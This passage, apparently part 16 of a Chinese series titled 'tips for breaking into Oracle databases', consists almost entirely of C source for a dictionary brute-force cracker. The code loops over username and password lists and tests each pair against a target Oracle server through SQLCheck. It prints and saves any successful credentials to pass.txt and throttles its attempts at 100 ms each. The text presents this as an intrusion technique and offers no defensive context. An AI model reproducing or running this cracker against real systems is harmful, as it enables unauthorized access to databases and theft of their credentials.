入侵oracle数据库的一些技巧(16)


      currnode = headnode->Next;

      int j=0,i=1;
    while(currnode!=NULL) //为NULL表示姓名链表结束
    {
        printf("\n开始第%d位用户%s测试:\n",++j,currnode->Name);
      while(curr != NULL) //为NULL表示密码链表结束
      {
          printf("Now cracking %s->%s    \n", currnode->Name, curr->password);
          fflush(NULL);
          int Cracked=0;
          Cracked=SQLCheck(curr->password,currnode->Name);
          if ( Cracked==1 )
          {  
              printf("%d.Successfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
              fseek(passtxt, 0L, SEEK_END);//移动到文件尾部
              fprintf(passtxt,"%d.Successfully:oracle server %s's username [%s] password [%s]\r\n",i++,target,currnode->Name, curr->password);
              //exit(0);发现一个密码就退出
              break;
          }
          curr = curr->Next;//移动到下一个结点
          Sleep(100);//暂停100ms,即0.1s

      } /* starting crack the oracle password*/
        currnode = currnode->Next;
    curr = head ->Next; //移到密码链表的第一个结点
    }
      printf("\n\n密码猜解结束:\n本次共猜解了%d位用户,%d个密码!\n",namecount,passcount);
      printf("请使用\"type pass.txt\"来查看当前目录下的pass.txt文件!\n");
      fprintf(passtxt,"\r\n\r\n");
      fclose(passdic);
      fclose(Namedict);

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1490.html